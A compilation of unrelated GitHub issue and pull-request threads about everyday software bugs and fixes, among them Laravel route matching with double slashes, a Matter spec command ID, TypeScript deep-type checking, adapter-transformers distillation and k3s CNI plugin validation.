Deleted "s" in markups language in sentence 2

Deleted "s" in paragraph 1, sentence 2: "A markupS language"

[X] I have read freeCodeCamp's contribution guidelines.
[X] My pull request has a descriptive title (not a vague title like Update index.md)
[X] My pull request targets the master branch of freeCodeCamp.
[X] None of my changes are plagiarized from another source without proper attribution.
[X] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

Thank you @yougotrossed for your contribution and congratulations on your first PR merge to this repo! 🎉


g.part1 can be called with a parameter called strategy, that in g.par…

…t3 was fixed to strategy=1. That produced error computing sib periods when using strategy=2. Now is fixed.

Hi Javier, I now see this PR for the first time. This repository is a read-on copy of CRAN, and not maintained by me. The original GGIR code bases lives in https://github.com/wadpac/GGIR, that is where I do all the development.


[7.x] Fix double slashes matching in UriValidator (fix inconsistencies between cached and none cached routes)

Sorry to open a new PR but the other one was closed, I think there were some misunderstanding.
The goal of this PR is to not match routes when we have double slashes and also fix the misleading 405 error with cached route collection when we have a double slash.
Before the PR

URL
Not cached
Cached

http://<IP_ADDRESS>/foo
foo
foo

http://<IP_ADDRESS>/foo/bar
bar
bar

http://<IP_ADDRESS>//foo ⚠
foo
405

http://<IP_ADDRESS>//foo/bar ⚠
bar
405

http://<IP_ADDRESS>/foo//bar
404
404

http://<IP_ADDRESS>//foo/bar
404
404

With this PR

URL
Not cached
Cached

http://<IP_ADDRESS>/foo
foo
foo

http://<IP_ADDRESS>/foo/bar
bar
bar

http://<IP_ADDRESS>//foo
404
404

http://<IP_ADDRESS>//foo/bar
404
404

http://<IP_ADDRESS>/foo//bar
404
404

http://<IP_ADDRESS>//foo/bar
404
404

The problem is that UriValidator uses $request->path() which use the trimmed path but CompiledRouteCollection uses:
    $parts = explode('?', $request->server->get('REQUEST_URI'), 2);

    $trimmedRequest->server->set(
        'REQUEST_URI', rtrim($parts[0], '/').(isset($parts[1]) ? '?'.$parts[1] : '')
    );

with rtrim, which creates the discrepancy.
What do you think ? Please let me know if you want me to fix it differently, I just want to fix this inconsistency.

Thoughts about sanitize route before matching?

Thoughts about sanitize route before matching?

Why? We want routing to be as fast as possible.

And what did you mean exactly be sanitizing?

@BafS could you add a couple of new tests please?

Why? We want routing to be as fast as possible.
And what did you mean exactly be sanitizing?

Maybe 'sanitize' is the wrong word.
What I meant was removing duplicate slashes in the route before matching.
I saw this behavior in some sites (github, by example)

@danilopinotti You can do that with your server, I don't think it's Laravel's job to do it
@GrahamCampbell I added a test.
I think would be good to run CompiledRouteCollectionTest against the cached and none cached routes to be sure we stay consistent but I didn't want to add too much refactoring here.

This PR is actually breaking my application. I provide a calendar through my application, and for some reason the frontend returned an URL with a double slash for the calendar. So this URL is now used by many users to import the calendar, but since this was merged, these imports are no longer working. Is there a way to work around this? Adding a route with '//' is filtered out.

Urls with // aren't valid. There's no workaround for this.

You can workaround that with your server, by using url rewrite, but it's not a good practice


Improve API error messages

Using dce-cli v0.2.0
API error are not super user friendly:
eg.
~/$ ./dce-cli accounts list
err:  [GET /accounts][403] getAccountsForbidden ~/$

Proposing to:

Use human-readable error messages (eg, "You do you not have access to get account", or whatever)
Add a newline character to the end of the message, so the CLI prompt starts on a new line

Besides human-readable error messages, it would be nice if we have an optional way to see the entire API error response, like with a verbose log level configured, or in a log file somewhere


Wrong ID number in CertificateChainResponse during Commissioning Process

Problem

expected behavior
In spec CertificateChainResponse (<IP_ADDRESS>) id is 1, But in chip-tool response "CommandData" is "0x0"

actual behavior
CertificateChainResponse in chip-tool response "CommandData is 0x1"

screenshots, images, logs, etc.

Log in chip-tool is below
[1644801185.496007][255601:255606] CHIP:EM: Received message of type 0x9 with protocolId (0, 1) and MessageCounter:13653466 on exchange 36606i
[1644801185.496013][255601:255606] CHIP:EM: Found matching exchange: 36606i, Delegate: 0x7f82b4005db0
[1644801185.496020][255601:255606] CHIP:EM: Rxd Ack; Removing MessageCounter:5874329 from Retrans Table on exchange 36606i
[1644801185.496024][255601:255606] CHIP:EM: Removed CHIP MessageCounter:5874329 from RetransTable on exchange 36606i
[1644801185.496031][255601:255606] CHIP:DMG: ICR moving to [ResponseRe]
[1644801185.496040][255601:255606] CHIP:DMG: InvokeResponseMessage =
[1644801185.496044][255601:255606] CHIP:DMG: {
[1644801185.496049][255601:255606] CHIP:DMG:    suppressResponse = false,
[1644801185.496051][255601:255606] CHIP:DMG:    InvokeResponseIBs =
[1644801185.496061][255601:255606] CHIP:DMG:    [
[1644801185.496065][255601:255606] CHIP:DMG:            InvokeResponseIB =
[1644801185.496072][255601:255606] CHIP:DMG:            {
[1644801185.496076][255601:255606] CHIP:DMG:                    CommandDataIB =
[1644801185.496081][255601:255606] CHIP:DMG:                    {
[1644801185.496086][255601:255606] CHIP:DMG:                            CommandPathIB =
[1644801185.496091][255601:255606] CHIP:DMG:                            {
[1644801185.496096][255601:255606] CHIP:DMG:                                    EndpointId = 0x0,
[1644801185.496101][255601:255606] CHIP:DMG:                                    ClusterId = 0x3e,
[1644801185.496106][255601:255606] CHIP:DMG:                                    CommandId = 0x3,
[1644801185.496111][255601:255606] CHIP:DMG:                            },
[1644801185.496117][255601:255606] CHIP:DMG:
[1644801185.496122][255601:255606] CHIP:DMG:                            CommandData =
[1644801185.496127][255601:255606] CHIP:DMG:                            {
[1644801185.496132][255601:255606] CHIP:DMG:                                    0x0 = [
[1644801185.496137][255601:255606] CHIP:DMG:                                            ... (byte string too long) ...
[1644801185.496142][255601:255606] CHIP:DMG:                            ]
[1644801185.496147][255601:255606] CHIP:DMG:                            },
[1644801185.496151][255601:255606] CHIP:DMG:                    },
[1644801185.496158][255601:255606] CHIP:DMG:
[1644801185.496162][255601:255606] CHIP:DMG:            },
[1644801185.496169][255601:255606] CHIP:DMG:
[1644801185.496173][255601:255606] CHIP:DMG:    ],
[1644801185.496179][255601:255606] CHIP:DMG:
[1644801185.496184][255601:255606] CHIP:DMG:    InteractionModelRevision = 1
[1644801185.496187][255601:255606] CHIP:DMG: },

chip-tool-controller-2:14.txt
Proposed Solution

I think this might just be a typo in the spec - there's only one returned field for that command, there's no reason for it to be ID 1.
I put up a PR here: https://github.com/CHIP-Specifications/connectedhomeip-spec/pull/4984.

@wissn84 - if we change that value in the spec, is there a corresponding change that needs to happen in the tests (ie, is this feedback from the CSG or just something you noticed and reported on your own)?

Spec changed in https://github.com/CHIP-Specifications/connectedhomeip-spec/pull/4984

@jeonghwan7 - was this issue from a CSG test? The spec was updated, just trying to figure out if there's also a CSG test that needs to be updated.

Fixed in spec, not SDK issue here.


FCM token is null

FCM.getFCMToken().then(token => {
console.log(token)
// store fcm token in your server
});
In console Null is printed.(For ANDROID didn't tried on IOS)

Have you tried on the real device?

Yes it is working on real device!!
The problem was i didn't had google play serivce installed in Genymotion.
Thank you @gorangajic .


Beacon does not produce effects or consume items

Beacons, when active, do not produce effects or consume items when selected and input into the GUI.
To reproduce: build a beacon with the smallest possible (diamond) base. Open the beacon GUI and select the speed buff. Input a diamond, then click confirm. It simply makes a sound, then refunds the diamond and applies no speed bonus.
Debug log for reference:
DEBU[0102] failed processing packet from <IP_ADDRESS>:50362 (JustTalz): ItemStackRequest: error resolving item stack request: *protocol.BeaconPaymentStackRequestAction: primary effect selected is not allowed: 1 for level 0

This was because I set the RandomTickSpeed to -1. This isn't an issue with DF itself.


Actor method annotated with CacheResponse which returns null will throw a hidden NPE.

Actor method annotated with CacheResponse which returns null will throw a hidden NPE.
Motivation:
If an actor method annotated with CacheResponse returns null it will throw a hidden NPE.
Modifications:
Fix possible NPE, add unit test and support for enums.
Result:
Actor method annotated with CacheResponse which returns null will no longer throw an NPE.

Would you be able to resubmit this PR with the new project structure?

Yep no worries.


No eval loss and eval accuracy when calling trainer.evaluate()

Environment info

adapter-transformers version:
Platform: linux
Python version:  3.9
PyTorch version (GPU?):  1.12.1  gpu

Details
I want to use knowledge distillation to between two adapter models.
It occurs when the tearch model and student model are both adapter-model.
When the teacher model is adapter-model and the student model are huggingface-model, it can train and evaluate normally.
class DistillationTrainingArguments(TrainingArguments):
    def __init__(self, *args, alpha=0.5, temperature=2.0, **kwargs):
        super().__init__(*args, **kwargs)

        self.alpha = alpha
        self.temperature = temperature

class DistillationTrainer(Trainer):
    def __init__(self, *args, teacher_model=None, **kwargs):
        super().__init__(*args, **kwargs)
        self.teacher = teacher_model
        # place teacher on same device as student
        self._move_model_to_device(self.teacher,self.model.device)
        self.teacher.eval()
        # self.teacher.train()

    def compute_loss(self, model, inputs, return_outputs=False):
        # compute student output
        # print('comput distill loss')
        outputs_student = model(**inputs)

        student_loss=outputs_student.loss

        # compute teacher output
        # self.teacher.train()
        with torch.no_grad():
            outputs_teacher = self.teacher(**inputs)

        # assert size
        assert outputs_student.logits.size() == outputs_teacher.logits.size()

        # Soften probabilities and compute distillation loss
        loss_function = nn.KLDivLoss(reduction="batchmean")
        loss_logits = (loss_function(
            F.log_softmax(outputs_student.logits / self.args.temperature, dim=-1),
            F.softmax(outputs_teacher.logits / self.args.temperature, dim=-1)) * (self.args.temperature ** 2))
        # Return weighted student loss
        loss = self.args.alpha * student_loss + (1. - self.args.alpha) * loss_logits
        return (loss, outputs_student) if return_outputs else loss
teacher_model3 = bert_adapter_model
student_model3 = adapter_distillBert_model

repo_name = "KD-try3"
training_args3 = DistillationTrainingArguments(
    output_dir="./saved/KD3/",
    num_train_epochs=10,
    per_device_train_batch_size=4,
    per_device_eval_batch_size=4,
    fp16=True,
    learning_rate=5e-5,
    seed=32,
    overwrite_output_dir=True,

    # logging & evaluation strategies
    # logging_dir=f"./saved/KD3/logs",
    # logging_strategy="epoch", # to get more information to TB
    # evaluation_strategy="epoch",
    # save_strategy="epoch",
    # save_total_limit=2,
    # load_best_model_at_end=True,
    # metric_for_best_model="accuracy",

    # distilation parameters
    alpha=0.5,
    temperature=1.0,
    remove_unused_columns=False,
    logging_steps=200,
    )

trainer3 = DistillationTrainer(
    student_model3,
    training_args3,
    teacher_model=teacher_model3,
    # labels=torch.nn.functional.one_hot(dataset["train"]['labels']),
    train_dataset=dataset["train"],
    eval_dataset=dataset["validation"],
    # test_dataset=dataset["test"],
    data_collator=data_collator,
    tokenizer=tokenizer,
    # compute_metrics=compute_metrics,
    compute_metrics=compute_accuracy_adapter,
)

When I runing the code, it only reports the training loss (No validation loss). And when I run "trainer3.evaluate()", there are no "eval_loss" and "eval_accuracy" in the result, only have "eval_runtime" and so on.
When I add the commented lines of code:
# logging & evaluation strategies
# logging_dir=f"./saved/KD3/logs",
 # logging_strategy="epoch", # to get more information to TB
# evaluation_strategy="epoch",
 # save_strategy="epoch",
# save_total_limit=2,
# load_best_model_at_end=True,
 # metric_for_best_model="accuracy",

It will report the following error:

534 eyError                                  Traceback (most recent call last)
Cell In[73], line 1
----> 1 trainer3.train()
File ~/anaconda3/envs/adapt/lib/python3.9/site-packages/transformers/trainer.py:1543, in Trainer.train(self, resume_from_checkpoint, trial, ignore_keys_for_eval, **kwargs)
1538     self.model_wrapped = self.model
1540 inner_training_loop = find_executable_batch_size(
1541     self._inner_training_loop, self._train_batch_size, args.auto_find_batch_size
1542 )
-> 1543 return inner_training_loop(
1544     args=args,
1545     resume_from_checkpoint=resume_from_checkpoint,
1546     trial=trial,
1547     ignore_keys_for_eval=ignore_keys_for_eval,
1548 )
File ~/anaconda3/envs/adapt/lib/python3.9/site-packages/transformers/trainer.py:1883, in Trainer._inner_training_loop(self, batch_size, args, resume_from_checkpoint, trial, ignore_keys_for_eval)
1880     self.control.should_training_stop = True
1882 self.control = self.callback_handler.on_epoch_end(args, self.state, self.control)
-> 1883 self._maybe_log_save_evaluate(tr_loss, model, trial, epoch, ignore_keys_for_eval)
1885 if DebugOption.TPU_METRICS_DEBUG in self.args.debug:
1886     if is_torch_tpu_available():
1887         # tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
File ~/anaconda3/envs/adapt/lib/python3.9/site-packages/transformers/trainer.py:2135, in Trainer._maybe_log_save_evaluate(self, tr_loss, model, trial, epoch, ignore_keys_for_eval)
2132     self._report_to_hp_search(trial, self.state.global_step, metrics)
2134 if self.control.should_save:
-> 2135     self._save_checkpoint(model, trial, metrics=metrics)
2136     self.control = self.callback_handler.on_save(self.args, self.state, self.control)
File ~/anaconda3/envs/adapt/lib/python3.9/site-packages/transformers/trainer.py:2238, in Trainer.save_checkpoint(self, model, trial, metrics)
2236 if not metric_to_check.startswith("eval"):
2237     metric_to_check = f"eval_{metric_to_check}"
-> 2238 metric_value = metrics[metric_to_check]
2240 operator = np.greater if self.args.greater_is_better else np.less
2241 if (
2242     self.state.best_metric is None
2243     or self.state.best_model_checkpoint is None
2244     or operator(metric_value, self.state.best_metric)
2245 ):
KeyError: 'eval_accuracy'`

Thanks for your help!

Hey @songmh99 , one possible reason for this could be that the trainer does not get the labels in the format it expects. For example, if the labels are not named labels you have to specify label_names (see here) so that the model chooses the correct labels. So I would recommend checking that the labels are found by the trainer first.
If this does not help please provide the compute_accuracy_adaptermethod as well.

Hey @songmh99 , one possible reason for this could be that the trainer does not get the labels in the format it expects. For example, if the labels are not named labels you have to specify label_names (see here) so that the model chooses the correct labels. So I would recommend checking that the labels are found by the trainer first. If this does not help please provide the compute_accuracy_adaptermethod as well.

Thanks a lot! It does work !  :)
I have another question~
The code above is the knowledge distillation process :
I want to training teacher model: bert_adapter_model, and student model :  adapter_distillBert_model together. In the training process only two adapters are trainable (one in teacher model, the other in student model)
When I run the trainer3.train() , the report message shows that :

Number of trainable parameters = 1040163

However, when I only train an adapter_distillBert_model ,  the training report message shows that:

Number of trainable parameters = 1040163

The number of trainable parameters is the same as the distillation training process.
Does it means that: in my distillation process, the adapter in teacher model is been frozen?
Details :
The teacher model and student model are as follows:
#Adapter Bert Model
from transformers import BertConfig, BertModelWithHeads
bert_adapter_config = BertConfig.from_pretrained('bert-base-uncased',id2label=id2label)
bert_adapter_model = BertModelWithHeads.from_pretrained('bert-base-uncased',config=bert_adapter_config)

bert_adapter_model.load_adapter('nli/qnli@ukp', with_head=False)
bert_adapter_model.add_classification_head('cb', num_labels=len(id2label),overwrite_ok=True)
bert_adapter_model.train_adapter('qnli')

#DistilBertAdapterModel
from transformers import DistilBertConfig, DistilBertAdapterModel
adapter_distillBert_config = DistilBertConfig.from_pretrained('distilbert-base-uncased',id2label=id2label)
adapter_distillBert_model = DistilBertAdapterModel.from_pretrained('distilbert-base-uncased',config=adapter_distillBert_config)
adapter_distillBert_model.load_adapter('nli/qnli@ukp', with_head=False)
adapter_distillBert_model.add_classification_head('cb', num_labels=len(id2label),overwrite_ok=True)
# adapter_distillBert_model.train_adapter('qnli')
adapter_distillBert_model.train_adapter('qnli')

The code of only training an adapter_distillBert_model is as follows:
import numpy as np
from transformers import TrainingArguments, AdapterTrainer, EvalPrediction
adapter_distillBert_training_args = TrainingArguments(
    learning_rate=5e-5,
    num_train_epochs=10,
    per_device_train_batch_size=4,
    per_device_eval_batch_size=4,
    logging_steps=200,
    output_dir='./saved/distilladapter-bert/',
    overwrite_output_dir=True,
    remove_unused_columns=False,
)
def compute_accuracy_adapter(p: EvalPrediction):
    preds = np.argmax(p.predictions, axis=1)
    return {"acc": (preds == p.label_ids).mean()}

adapter_distillBert_trainer = AdapterTrainer(
    model=adapter_distillBert_model,
    args=adapter_distillBert_training_args,
    train_dataset=dataset["train"],
    eval_dataset=dataset["validation"],
    compute_metrics=compute_accuracy_adapter,
)
adapter_distillBert_trainer.train()

This issue has been automatically marked as stale because it has been without activity for 90 days. This issue will be closed in 14 days unless you comment or remove the stale label.

This issue was closed because it was stale for 14 days without any activity.


Serial queues

As far as I understand operation queues (like ProcedureQueue) are concurrent by default and the order in which the procedures are picked for execution is not maintained.
In order to maintain the insertion order of procedures added to a procedure queue, we have to add dependencies between the procedures to guarantee a certain execution order?

In order to maintain the insertion order of procedures added to a procedure queue, we have to add dependencies between the procedures to guarantee a certain execution order?

@marwey: Correct.
To provide a bit more detail:
An OperationQueue makes decisions on what operations to execute (and in what order) based on a number of factors. While you can adjust the maxConcurrentOperationCount to, for example, set it to 1, this does not guarantee execution order will be the same as insertion order. (Many things can affect execution order, including qualityOfService.)
The way to guarantee execution order is to set dependencies.

@swiftlyfalling Thanks for clarification and the additional details regarding maxConcurrentOperationCount and qualityOfService!
Have not looked at those in great detail but will put it on my to-do list! ;-)


select only inside the interval

It will be nice if the calendar only showed the days between the initial date and last date interval.
the way that is we can select any date before or after and if we click at the name of the month It shows the snack calendar leaving the user go back a month and select there too.
It's  a nice widget, but I think that this function will add to it.

Hello Berkson, thank you for the sugestion, this will be added on the next release.


Nested array/object types 6+ deep can break typechecking for smaller nested types across the entire file

I noticed that you can assign a 5D array value to an array type that requires 6 or more dimensions. That's unfortunate, but the more concerning thing is how doing so can apparently break typechecks for nested arrays of any depth across the whole file.
A similar thing happens with deeply-nested object types.
The depth limiter for nested instantiations seems relevant, especially since the magic number here is 6 (or really "anything more than 5").

TypeScript Version: 4.5.2, 4.2.0-dev.20201221 and all other versions tested (3.3.3-4.1.2)
Search Terms: "multidimensional array" "deep array" "nested array" 6D "six-dimensional" "nested object" "deep object" "depth limiter" "deeply-nested" isDeeplyNestedType
Code
// All assignments in this file are invalid, but aren't rejected by the typechecker.

// Uncomment this and suddenly the rest of the file is typechecked correctly!
// const a2: string[][] = [[]]
// const a2ShouldFail: string[] = a2
// const a2ShouldAlsoFail: string[][][] = a2

// Comment this out and the rest of the file is typechecked correctly!
const a6: string[][][][][][] = [[[[[[]]]]]]
const a6ShouldFail: string[][][][][] = a6
const a6ShouldAlsoFail: string[][][][][][][] = a6

const b2: string[][] = [[]]
const b2ShouldFail: string[] = b2
const b2ShouldAlsoFail: string[][][] = b2

// 6+ depth seems to be the tipping point; see also: https://tsplay.dev/yNa9BN

Expected behavior:
Those mis-typed variable assignments should be flagged by the typechecker. More importantly, typechecking for each term should not be affected by the presence/absence/source order of unrelated code.
Actual behavior:
TypeScript doesn't complain about anything unless you uncomment the first block of code or comment out the second one.
Playground Link:
https://www.typescriptlang.org/play?#code/PTAEEEBtNBDBneBLA5gOwLYFM0Bd6hJqi4AWSBAZkpFnAE51EBuskSAJgDSgBGArrgY4A5EMYArLAGNcWDnwCeJUnVyKADjNXSA1lnoA6AFDGQoAKpppAewzY8KinDQL4-DhxyRlZOo3ghG0oVOmpaQgJ1LWkdfQVbekZZHwBCMzBbNEC4ACYALlBA+iIUAG0AXUrQAF5QMsqKjNAsnNhcgGVSG35IDgAxWBpC4tLquvbm1qF2rp6+qHgbQeGi3BK0cqrt2rzTcwBhOwchMmcemddQ0ACgkL9QcKYozW0ZeJabJJlcNONpuAANhG6zG20qEJ2dQaMMaFXhTQBsEBc16AyGkBBGy2kMhu2R-xs2RmKO6aMWywxWLBuPBUKBpgBvAKa2xeOhjUJxL4nTJfRWmNZYN2zK5OWZqIWkCWAupm1pIty+zAgIA1KAvBoyEUsFgMFEbHw1KoSEgNBpSqANDYiLgANw6uhsJaFUi4XAaeD5ED4DSQWCKQxeZjARQAOVgAE4AEJhoA
Related Issues:

https://github.com/microsoft/TypeScript/issues/21771
https://github.com/microsoft/TypeScript/issues/34619
https://github.com/microsoft/TypeScript/pull/34742
https://github.com/microsoft/TypeScript/pull/41972
https://github.com/microsoft/TypeScript/pull/14825
https://github.com/microsoft/TypeScript/issues/41617
https://github.com/microsoft/TypeScript/issues/34922

Please let me know if I should split this into two separate issues ("5D arrays can be assigned to 6+D array types" vs "6D array types can break of unrelated 2+D array types elsewhere in the file").

Playing around some more I noticed some extra nuance that might help track down the bug. Observe the difference in behavior between these two scenarios:
https://www.typescriptlang.org/play?#code/MYewdgzgLgBAhgNgFw2gJwJZgOYG0C6BRhJMAvDLldfrXQFAD0jMoksiAygBYgCuAGwAmAMTgYBKdFjwliBcvAT020JT37CAggIggxEqVEw55c84sT0V4NQCMATEZOyFFKrRvsYjjYNHikqjGMm4+DjDMMGAgAO4wUNwYEAkAngAOAKbA3NkA1imgaGjZUAKpMAAUcBAQGNhgMjAAcgAi8MVwFVAgLQC0AIztUBmZAJRe9g5+2rr6gc6hFhSOkSx2fLCJyTBCIJkQYADksNW19Y04Le1wnd29zQDUQ2lZE6qwvrz+Onq-84Zgi4zGFVlFtik4HNonFXtlcsACqwQMVSuUqjU6g0mm0OmgugkHo8HMNRmMgA
https://www.typescriptlang.org/play?#code/MYewdgzgLgBAhgNgFw2gJwJZgOYG0C6BRhJMAvDLldfrXQFCiSyIDKAFiAK4A2AJgDE4GHinRY8JYgXLwE9APQKYTaHI7d+AQR4QQQkWKiYc0qedmJ6jcGoBGAJiMnJMilVo3mMRxt6DhUVRjCTcfBxglGDAQAHcYKHYMCBg+EABTCDAAclgoAE8AB3TgdhKAaxUQNDQSqB58mAAKOAgIDGwwCRgAOQAReBq4RqgQXoBaAEYBguKASi97Bz9tXX1A51CLCkdI5U5Y9IA3dLQEpJS0zObW9s7u-sG0YYSxnoBqaYSi9IXVWF8nH8Oj0IPWhmCLjMYV2UTgYD4qDGVxSiWSNzaHS6OF6AzgQxGb3eDhmPzmQA

I just realized the same thing happens with nested objects:
https://www.typescriptlang.org/play?#code/C4TwDgpgBA6gTgQzAHgCoD4oF4oG8oIBcUqUAvgFAWiRQDyAdhACIQRjayIoDOwcASwYBzdNXDRUAdwD2rdp3hJkjFmzBiakgBZw28jjiUppc9ZolQAYjICucA4u5pd+8+NpWBANzUKjzjb2Bha0AMoCAB6OAcpeviEe0GEQvgwxXMoR0e4UAPR5UACqDADGMgC2FRAMwFDA2gI8BAwAJlA8tq2tNQA2IPXa0Hp8UDIAZoPQ4wK90E31EqVDpQDWEO3lcHqlwP0AhPmF5QyjwLLEphm4RDeEAOT3ZJQFUCejMkxh2na9rVYIWbEVQZc4yI5vT5nVwQb6-f6A3qXGGg2RUV4AYUq1VqgwWdjqCDaUygIzqExJMzmUAWWmWEDWG0h2wZexAh3edR4UWI2WutwFhDuwqIj2e4sonKgM18cNsfwBQOsPj8hg6UQoUp4qRqcoViN5OvS6k43MiVClYIAQpdZPyhaKnpKoeSvj95QjZjb6ExUTIrZqXYM9LD3fqvciQ36AxCUtAEL0eDJiNpgMAwDxCAVgDwwL0ECAAHQ9bx5K0VSIAGQAjBUgA

any workaround?

@zifahm I believe this was fixed by #46599 which was included in TypeScript 4.5.3, so if you can upgrade your compiler that might help.
I haven't done extensive testing yet but at least the playground links above all exhibit the correct behavior when using 4.5.3. Let me know if you upgrade and still see problems, if not I'll probably close this issue.

@mkantor  I'm trying to do something like this, still, seems to show an error? or am I doing something wrong?
https://www.typescriptlang.org/play?ts=4.5.3#code/AQFwngDgpsDyBOATK8Bi8CGBzAtlAdiMALzADeAUMNcAPq3jT4Z4D8AXMAOQLLxcBuKjQCWiTgGcQ8EfixCawAPZIUABXhLEAVwDGITgEF4mMAB5KixfUYEWUDt17rNO-YOFXgYydNnzPKxU+AFktEQAzERRHY1MLQK9qG0g7Nk4eVXgwxEjo-gUkxR9gKRk5QqLqYJQcvJQAZSgDYDiMc0sqrxSme0dM0PCoxuaPLq8Ssv9KqoBfAD4ZxQXgAB9gfG0AGy214G18ZCj8KEQZhaFZoQpbUuaJEjgs9Gw8QgBtACIa+A0tPRAnwAuu8AAwg75ZOrDeDAsEQn7Q-JNQEg8EUCgAekxwBQmngwAwRERQ3y8KxOL+0Hg4G4oK4wEQSigD3wSiIUAAHiIpMp8KBUsAKdwyHQGKlmOlgJ9nNlSShPnsDkdZKcBN5xKU-BVlFD5fAUZxRT00g5ODK9bkYSjFetlVBjmqNb5yvJgLN3kD1R6gXtNjslYcHarEFwAHQACgATABmGMATgAlEA

@zifahm your OrderFragment type specifies that OrderFragment["orderProduct"][0]["orderModifier"] is optional and possibly null.
Your playground has an error for the same reason that type X = (unknown[] | null | undefined)[0] is an error

@mkantor  yeah just got it thanks :)

Since I haven't been able to reproduce this issue since 4.5.3, I'm closing it. I'm very happy to see the depth limiter getting smarter! 🎉


Regenerated PubSub API

@chrisdunelm This appears not to have generated a Seek method - it's in the GAPIC config but with no flattenings, but I'd have expected Seek(SeekRequest) to still be present

Regenerated again with recent fixes - will merge when green. Changes look better now :)

Aargh - messed up and included too much now. Fixing...


Unable to render in a next.js server action

Component or Package Name: @jsx-email/render
Component or Package Version: 1.0.1
@jsxp-email/cli Version?: 1.0.14
Link to reproduction (⚠ read below): https://stackblitz.com/edit/stackblitz-starters-k14u31?file=app%2Faction.ts

Expected Behavior
Should be able to render in a server action.
Actual Behavior
You're importing a component that imports react-dom/server. To fix it, render or return the content directly as a Server Component instead for perf and security.
Learn more: https://nextjs.org/docs/getting-started/react-essentials

The error was caused by importing<EMAIL_ADDRESS>in './app/action.ts'.

Additional Information
This is related to
https://github.com/resendlabs/react-email/issues/871
https://github.com/vercel/next.js/issues/43810 (probably includes the fix)
It has been fixed in react-email already because I was able to render in a server action using their package before.

https://github.com/shellscape/jsx-email/pull/36 will resolve this.

Looks good. (https://stackblitz.com/edit/stackblitz-starters-f4gt7r?file=package.json)
So the solution for now would be to install all components individually and to not use the all package?
When do you roughly expect it to be updated?
tbh, it was unexpected that the all package exports render as well. In the docs it sounds like it just exports the components.

thought about changing that too, but went with it as it is to make it easy for people to switch from react-render

all v2.1.0 published
Please give this a test and let us know how it works out

No more error message (https://stackblitz.com/edit/stackblitz-starters-83gr6n?file=app%2Faction.ts)
The rendering output also looks good.
Do you plan to publish releases here with change logs? I would subscribe to them.

Do you plan to publish releases here with change logs? I would subscribe to them.

possibly in the future, but for now we're just tagging and updating the changelog.


Specify Kourier Load Balancer IP

Problem
There's no declarative way of specifying the Load Balancer IP that Kourier should use.
Persona:
System Operator
Exit Criteria
There should be a way of specifying Kourier's Load Balancer IP using the Operator.
https://github.com/knative-sandbox/net-kourier/issues/747

/reopen /remove-lifecycle stale

/reopen

/remove-lifecycle stale

/remove-lifecycle stale

/remove-lifecycle stale


[BUG] Add account, repeat password mimics the added password

Describe the bug
As we know the nature of this field is not to mimic the input of the user, but instead to force the user to enter the same password, for typo protection. Now it simply mimics what the user imputs
To Reproduce
Steps to reproduce the behavior:

Go to accounts
Click on + sign
Enter pass

Expected behavior
User should enter the pass twice
Screenshots

Desktop (please complete the following information):

Browser Chrome on Mac
Version 80

Additional context
Add any other context about the problem here.

Closing this in favor of the older one


[release-1.24] Update CNI plugins version and add additional plugins from upstream

Backport  #7424

Validated on Version:
- k3s version v1.24.13+k3s-f575bd1c (f575bd1c)

Environment Details
Infrastructure
Cloud EC2 instance
Node(s) CPU architecture, OS, and Version:
PRETTY_NAME="SUSE Linux Enterprise Server 15 SP4"
Cluster Configuration:
1 node
Server
Config.yaml:
cat /etc/rancher/k3s/config,yaml
write-kubeconfig-mode: 644
token: test

Steps to validate the fix

Install k3s master last commit
Check cni bin version
Check cni flannel plugin version
Deploy a pod with bandwidth annotation
Validate the bandwidth annotation is applied to the pod

Validation Results:

###########    FIX     ###########

Checking version running on host: k3s version v1.24.13+k3s-f575bd1c (f575bd1c)
go version go1.19.8 on ip: <IP_ADDRESS>

Command: kubectl get pod test-pod -o yaml --kubeconfig= --kubeconfig=/tmp/franlocalk3s_kubeconfig  | grep -A2 annotations
Expected Value: 1M

Checking version running on node: k3s version v1.24.13+k3s-f575bd1c (f575bd1c)
go version go1.19.8 on ip: <IP_ADDRESS>

Command: /var/lib/rancher/k3s/data/current/bin/cni
Expected Value: CNI plugins plugin v1.2.0-k3s1

CMD: kubectl get pod test-pod -o yaml --kubeconfig= --kubeconfig=/tmp/franlocalk3s_kubeconfig  | grep -A2 annotations
RESULT:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubernetes.io/egress-bandwidth":"1M","kubernetes.io/ingress-bandwidth":"1M"},"name":"test-pod","namespace":"default"},"spec":{"containers":[{"command":["sh","-c","echo The app is running! \u0026\u0026 sleep 3600"],"image":"busybox","name":"test-container"}]}}
kubernetes.io/egress-bandwidth: 1M
kubernetes.io/ingress-bandwidth: 1M

Assertion: 1M

Matched with:

annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubernetes.io/egress-bandwidth":"1M","kubernetes.io/ingress-bandwidth":"1M"},"name":"test-pod","namespace":"default"},"spec":{"containers":[{"command":["sh","-c","echo The app is running! \u0026\u0026 sleep 3600"],"image":"busybox","name":"test-container"}]}}
kubernetes.io/egress-bandwidth: 1M
kubernetes.io/ingress-bandwidth: 1M

CMD: /var/lib/rancher/k3s/data/current/bin/cni
RESULT: CNI plugins plugin v1.2.0-k3s1
CNI protocol versions supported: 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4.0, 1.0.0

Assertion: CNI plugins plugin v1.2.0-k3s1

Matched with:
CNI plugins plugin v1.2.0-k3s1
CNI protocol versions supported: 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4.0, 1.0.0

Validated on Version:
- k3s version v1.24.13+k3s-f575bd1c (f575bd1c)

Environment Details
Infrastructure
Cloud EC2 instance
Node(s) CPU architecture, OS, and Version:
PRETTY_NAME="SUSE Linux Enterprise Server 15 SP4"
Cluster Configuration:
1 node
Server
Config.yaml:
cat /etc/rancher/k3s/config,yaml
write-kubeconfig-mode: 644
token: test

Steps to validate the fix

Install k3s master last commit
Check cni bin version
Check cni flannel plugin version
Deploy a pod with bandwidth annotation
Validate the bandwidth annotation is applied to the pod

Validation Results:

###########    FIX     ###########

Checking version running on host: k3s version v1.24.13+k3s-f575bd1c (f575bd1c)
go version go1.19.8 on ip: <IP_ADDRESS>

Command: kubectl get pod test-pod -o yaml --kubeconfig= --kubeconfig=/tmp/franlocalk3s_kubeconfig  | grep -A2 annotations
